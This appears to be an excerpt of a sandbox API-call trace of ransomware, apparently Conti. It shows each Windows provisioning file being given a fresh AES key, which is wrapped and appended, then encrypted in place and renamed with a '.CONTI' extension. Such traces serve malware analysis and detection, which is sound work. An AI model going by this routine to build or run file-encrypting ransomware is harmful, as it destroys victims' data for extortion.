	[0113.490] CryptGenKey (in: hProv=0x176b820, Algid=0x6610, dwFlags=0x1, phKey=0x65c32c8 | out: phKey=0x65c32c8*=0x17c7d30) returned 1
	[0113.490] CryptExportKey (in: hKey=0x17c7d30, hExpKey=0x175e8f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65c32cc, pdwDataLen=0x36ffea4 | out: pbData=0x65c32cc*, pdwDataLen=0x36ffea4*=0x20c) returned 1
	[0113.491] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\61__Connections_Cellular_Vivatel (Bulgaria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\61__connections_cellular_vivatel (bulgaria)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0113.491] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\61__Connections_Cellular_Vivatel (Bulgaria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\61__connections_cellular_vivatel (bulgaria)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8
	[0113.492] GetLastError () returned 0x0
	[0113.492] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x36ffe50 | out: lpFileSize=0x36ffe50*=721) returned 1
	[0113.492] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2d1
	[0113.492] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x233, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.492] SetEndOfFile (hFile=0x3f8) returned 1
	[0113.492] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.492] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.492] WriteFile (in: hFile=0x3f8, lpBuffer=0x65c32cc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x36ffe5c, lpOverlapped=0x0 | out: lpBuffer=0x65c32cc*, lpNumberOfBytesWritten=0x36ffe5c*=0x20c, lpOverlapped=0x0) returned 1
	[0113.494] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.494] ReadFile (in: hFile=0x3f8, lpBuffer=0x12130000, nNumberOfBytesToRead=0x2d1, lpNumberOfBytesRead=0x36ffe7c, lpOverlapped=0x0 | out: lpBuffer=0x12130000*, lpNumberOfBytesRead=0x36ffe7c*=0x2d1, lpOverlapped=0x0) returned 1
	[0113.494] CryptEncrypt (in: hKey=0x17c7d30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x12130000*, pdwDataLen=0x36ffe74*=0x2d1, dwBufLen=0x500000 | out: pbData=0x12130000*, pdwDataLen=0x36ffe74*=0x2e0) returned 1
	[0113.494] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.494] WriteFile (in: hFile=0x3f8, lpBuffer=0x12130000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x36ffe90, lpOverlapped=0x0 | out: lpBuffer=0x12130000*, lpNumberOfBytesWritten=0x36ffe90*=0x2e0, lpOverlapped=0x0) returned 1
	[0113.494] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.494] WriteFile (in: hFile=0x3f8, lpBuffer=0x65c32c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x36ffea8, lpOverlapped=0x0 | out: lpBuffer=0x65c32c0*, lpNumberOfBytesWritten=0x36ffea8*=0x8, lpOverlapped=0x0) returned 1
	[0113.494] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.494] CloseHandle (hObject=0x3f8) returned 1
	[0113.494] GetProcessHeap () returned 0x1720000
	[0113.494] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x653b130
	[0113.494] lstrcpyW (in: lpString1=0x653b130, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\61__Connections_Cellular_Vivatel (Bulgaria)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\61__Connections_Cellular_Vivatel (Bulgaria)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\61__Connections_Cellular_Vivatel (Bulgaria)_i0$(__MVID)@WAP.provxml"
	[0113.494] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\61__Connections_Cellular_Vivatel (Bulgaria)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\61__Connections_Cellular_Vivatel (Bulgaria)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\61__Connections_Cellular_Vivatel (Bulgaria)_i0$(__MVID)@WAP.provxml.CONTI"
	[0113.494] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\61__Connections_Cellular_Vivatel (Bulgaria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\61__connections_cellular_vivatel (bulgaria)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\61__Connections_Cellular_Vivatel (Bulgaria)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\61__connections_cellular_vivatel (bulgaria)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0113.495] GetProcessHeap () returned 0x1720000
	[0113.495] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x653b130 | out: hHeap=0x1720000) returned 1
	[0113.495] CryptDestroyKey (hKey=0x17c7d30) returned 1
	[0113.495] GetProcessHeap () returned 0x1720000
	[0113.496] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65ce380 | out: hHeap=0x1720000) returned 1
	[0113.496] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x36ffed0, lpCompletionKey=0x36ffed4, lpOverlapped=0x36ffee0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x36ffed0, lpCompletionKey=0x36ffed4, lpOverlapped=0x36ffee0) returned 1
	[0113.496] CryptGenKey (in: hProv=0x176b820, Algid=0x6610, dwFlags=0x1, phKey=0x65c3be8 | out: phKey=0x65c3be8*=0x17c7830) returned 1
	[0113.496] CryptExportKey (in: hKey=0x17c7830, hExpKey=0x175e8f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65c3bec, pdwDataLen=0x36ffea4 | out: pbData=0x65c3bec*, pdwDataLen=0x36ffea4*=0x20c) returned 1
	[0113.496] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\620__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\620__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 0x20
	[0113.497] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\620__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\620__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8
	[0113.497] GetLastError () returned 0x0
	[0113.497] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x36ffe50 | out: lpFileSize=0x36ffe50*=459) returned 1
	[0113.497] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1cb
	[0113.497] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x229, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.497] SetEndOfFile (hFile=0x3f8) returned 1
	[0113.502] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.502] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.502] WriteFile (in: hFile=0x3f8, lpBuffer=0x65c3bec*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x36ffe5c, lpOverlapped=0x0 | out: lpBuffer=0x65c3bec*, lpNumberOfBytesWritten=0x36ffe5c*=0x20c, lpOverlapped=0x0) returned 1
	[0113.507] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.508] ReadFile (in: hFile=0x3f8, lpBuffer=0x12130000, nNumberOfBytesToRead=0x1cb, lpNumberOfBytesRead=0x36ffe7c, lpOverlapped=0x0 | out: lpBuffer=0x12130000*, lpNumberOfBytesRead=0x36ffe7c*=0x1cb, lpOverlapped=0x0) returned 1
	[0113.508] CryptEncrypt (in: hKey=0x17c7830, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x12130000*, pdwDataLen=0x36ffe74*=0x1cb, dwBufLen=0x500000 | out: pbData=0x12130000*, pdwDataLen=0x36ffe74*=0x1d0) returned 1
	[0113.508] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.508] WriteFile (in: hFile=0x3f8, lpBuffer=0x12130000*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x36ffe90, lpOverlapped=0x0 | out: lpBuffer=0x12130000*, lpNumberOfBytesWritten=0x36ffe90*=0x1d0, lpOverlapped=0x0) returned 1
	[0113.508] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.508] WriteFile (in: hFile=0x3f8, lpBuffer=0x65c3be0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x36ffea8, lpOverlapped=0x0 | out: lpBuffer=0x65c3be0*, lpNumberOfBytesWritten=0x36ffea8*=0x8, lpOverlapped=0x0) returned 1
	[0113.508] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.508] CloseHandle (hObject=0x3f8) returned 1
	[0113.508] GetProcessHeap () returned 0x1720000
	[0113.508] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x653b130
	[0113.508] lstrcpyW (in: lpString1=0x653b130, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\620__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\620__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\620__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml"
	[0113.508] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\620__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\620__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\620__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.CONTI"
	[0113.508] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\620__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\620__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\620__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\620__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml.conti")) returned 1
	[0113.509] GetProcessHeap () returned 0x1720000
	[0113.509] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x653b130 | out: hHeap=0x1720000) returned 1
	[0113.509] CryptDestroyKey (hKey=0x17c7830) returned 1
	[0113.509] GetProcessHeap () returned 0x1720000
	[0113.509] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65cc750 | out: hHeap=0x1720000) returned 1
	[0113.509] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x36ffed0, lpCompletionKey=0x36ffed4, lpOverlapped=0x36ffee0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x36ffed0, lpCompletionKey=0x36ffed4, lpOverlapped=0x36ffee0) returned 1
	[0113.509] CryptGenKey (in: hProv=0x176b820, Algid=0x6610, dwFlags=0x1, phKey=0x65c42c0 | out: phKey=0x65c42c0*=0x17c7af0) returned 1
	[0113.509] CryptExportKey (in: hKey=0x17c7af0, hExpKey=0x175e8f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65c42c4, pdwDataLen=0x36ffea4 | out: pbData=0x65c42c4*, pdwDataLen=0x36ffea4*=0x20c) returned 1
	[0113.510] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\623__Connections_Cellular_Truphone (Spain)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\623__connections_cellular_truphone (spain)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0113.512] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\623__Connections_Cellular_Truphone (Spain)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\623__connections_cellular_truphone (spain)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8
	[0113.512] GetLastError () returned 0x0
	[0113.512] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x36ffe50 | out: lpFileSize=0x36ffe50*=843) returned 1
	[0113.512] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x34b
	[0113.512] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x229, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.512] SetEndOfFile (hFile=0x3f8) returned 1
	[0113.513] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.513] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.513] WriteFile (in: hFile=0x3f8, lpBuffer=0x65c42c4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x36ffe5c, lpOverlapped=0x0 | out: lpBuffer=0x65c42c4*, lpNumberOfBytesWritten=0x36ffe5c*=0x20c, lpOverlapped=0x0) returned 1
	[0113.518] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.518] ReadFile (in: hFile=0x3f8, lpBuffer=0x12130000, nNumberOfBytesToRead=0x34b, lpNumberOfBytesRead=0x36ffe7c, lpOverlapped=0x0 | out: lpBuffer=0x12130000*, lpNumberOfBytesRead=0x36ffe7c*=0x34b, lpOverlapped=0x0) returned 1
	[0113.518] CryptEncrypt (in: hKey=0x17c7af0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x12130000*, pdwDataLen=0x36ffe74*=0x34b, dwBufLen=0x500000 | out: pbData=0x12130000*, pdwDataLen=0x36ffe74*=0x350) returned 1
	[0113.518] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.518] WriteFile (in: hFile=0x3f8, lpBuffer=0x12130000*, nNumberOfBytesToWrite=0x350, lpNumberOfBytesWritten=0x36ffe90, lpOverlapped=0x0 | out: lpBuffer=0x12130000*, lpNumberOfBytesWritten=0x36ffe90*=0x350, lpOverlapped=0x0) returned 1
	[0113.519] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.519] WriteFile (in: hFile=0x3f8, lpBuffer=0x65c42b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x36ffea8, lpOverlapped=0x0 | out: lpBuffer=0x65c42b8*, lpNumberOfBytesWritten=0x36ffea8*=0x8, lpOverlapped=0x0) returned 1
	[0113.519] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.519] CloseHandle (hObject=0x3f8) returned 1
	[0113.519] GetProcessHeap () returned 0x1720000
	[0113.519] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x653b130
	[0113.519] lstrcpyW (in: lpString1=0x653b130, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\623__Connections_Cellular_Truphone (Spain)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\623__Connections_Cellular_Truphone (Spain)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\623__Connections_Cellular_Truphone (Spain)_i0$(__MVID)@WAP.provxml"
	[0113.519] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\623__Connections_Cellular_Truphone (Spain)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\623__Connections_Cellular_Truphone (Spain)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\623__Connections_Cellular_Truphone (Spain)_i0$(__MVID)@WAP.provxml.CONTI"
	[0113.519] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\623__Connections_Cellular_Truphone (Spain)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\623__connections_cellular_truphone (spain)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\623__Connections_Cellular_Truphone (Spain)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\623__connections_cellular_truphone (spain)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0113.520] GetProcessHeap () returned 0x1720000
	[0113.520] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x653b130 | out: hHeap=0x1720000) returned 1
	[0113.520] CryptDestroyKey (hKey=0x17c7af0) returned 1
	[0113.520] GetProcessHeap () returned 0x1720000
	[0113.520] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65cd048 | out: hHeap=0x1720000) returned 1
	[0113.520] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x36ffed0, lpCompletionKey=0x36ffed4, lpOverlapped=0x36ffee0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x36ffed0, lpCompletionKey=0x36ffed4, lpOverlapped=0x36ffee0) returned 1
	[0113.520] CryptGenKey (in: hProv=0x176b820, Algid=0x6610, dwFlags=0x1, phKey=0x65c4078 | out: phKey=0x65c4078*=0x17c7cb0) returned 1
	[0113.520] CryptExportKey (in: hKey=0x17c7cb0, hExpKey=0x175e8f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65c407c, pdwDataLen=0x36ffea4 | out: pbData=0x65c407c*, pdwDataLen=0x36ffea4*=0x20c) returned 1
	[0113.521] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\625__Connections_Cellular_Truphone (Poland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\625__connections_cellular_truphone (poland)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0113.521] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\625__Connections_Cellular_Truphone (Poland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\625__connections_cellular_truphone (poland)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8
	[0113.521] GetLastError () returned 0x0
	[0113.521] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x36ffe50 | out: lpFileSize=0x36ffe50*=844) returned 1
	[0113.521] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x34c
	[0113.521] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x228, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.521] SetEndOfFile (hFile=0x3f8) returned 1
	[0113.522] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.522] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.522] WriteFile (in: hFile=0x3f8, lpBuffer=0x65c407c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x36ffe5c, lpOverlapped=0x0 | out: lpBuffer=0x65c407c*, lpNumberOfBytesWritten=0x36ffe5c*=0x20c, lpOverlapped=0x0) returned 1
	[0113.524] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.524] ReadFile (in: hFile=0x3f8, lpBuffer=0x12130000, nNumberOfBytesToRead=0x34c, lpNumberOfBytesRead=0x36ffe7c, lpOverlapped=0x0 | out: lpBuffer=0x12130000*, lpNumberOfBytesRead=0x36ffe7c*=0x34c, lpOverlapped=0x0) returned 1
	[0113.524] CryptEncrypt (in: hKey=0x17c7cb0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x12130000*, pdwDataLen=0x36ffe74*=0x34c, dwBufLen=0x500000 | out: pbData=0x12130000*, pdwDataLen=0x36ffe74*=0x350) returned 1
	[0113.524] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.525] WriteFile (in: hFile=0x3f8, lpBuffer=0x12130000*, nNumberOfBytesToWrite=0x350, lpNumberOfBytesWritten=0x36ffe90, lpOverlapped=0x0 | out: lpBuffer=0x12130000*, lpNumberOfBytesWritten=0x36ffe90*=0x350, lpOverlapped=0x0) returned 1
	[0113.525] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.525] WriteFile (in: hFile=0x3f8, lpBuffer=0x65c4070*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x36ffea8, lpOverlapped=0x0 | out: lpBuffer=0x65c4070*, lpNumberOfBytesWritten=0x36ffea8*=0x8, lpOverlapped=0x0) returned 1
	[0113.525] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.525] CloseHandle (hObject=0x3f8) returned 1
	[0113.525] GetProcessHeap () returned 0x1720000
	[0113.525] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x653b130
